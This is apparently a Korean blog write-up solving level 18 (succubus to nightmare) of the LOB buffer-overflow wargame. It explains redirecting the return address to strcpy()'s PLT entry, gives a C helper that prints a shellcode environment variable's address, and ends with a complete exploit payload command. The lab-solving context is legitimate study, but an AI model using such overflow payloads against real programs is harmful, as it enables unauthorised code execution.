ii4gsp

LOB - Level18 [succubus -> nightmare] 본문

시스템 해킹/LOB

LOB - Level18 [succubus -> nightmare]

ii4gsp 2020. 1. 28. 00:21

주석에 PLT라고 되어있다 RET를 strcpy()함수의 PLT주소로 변조해야 하는 문제이다.

 

 

 

 

strcpy()함수의 PLT주소는 0x08048410이다.

 

 

 

 

값을 넣어주고 코어파일을 분석해보자

 

 

 

 

0x41414141가 있는 주소 0xbffffa50과  0x45454545가 있는 주소 0xbffffa5c를 사용할것이다.

 

페이로드는

buffer + sfp + &strcpy() + dummy + &strcpy() arg1 + &strcpy() arg2 + &shellcode

                         [44byte]       [4byte]      [4byte]        [4byte]              [4byte]             [4byte]

 

 

 

 

#include <stdio.h>

int main()
{
    printf("%p\n", getenv("shellcode"));
    return 0;
}

쉘 코드 주소를 구하는 소스코드를 작성해주자

 

 

 

 

환경변수에 쉘 코드를 등록해주고 작성한 소스코드를 실행하면 쉘 코드 주소가 나온다.

쉘 코드 주소는 0xbffffef0 이다.

 

 

 

 

payload

./nightmare $(python -c 'print "\x90" * 44 + "\x10\x84\x04\x08" + "\x90" * 4 + "\x50\xfa\xff\xbf" + "\x5c\xfa\xff\xbf" + "\xf0\xfe\xff\xbf"')

 

Comments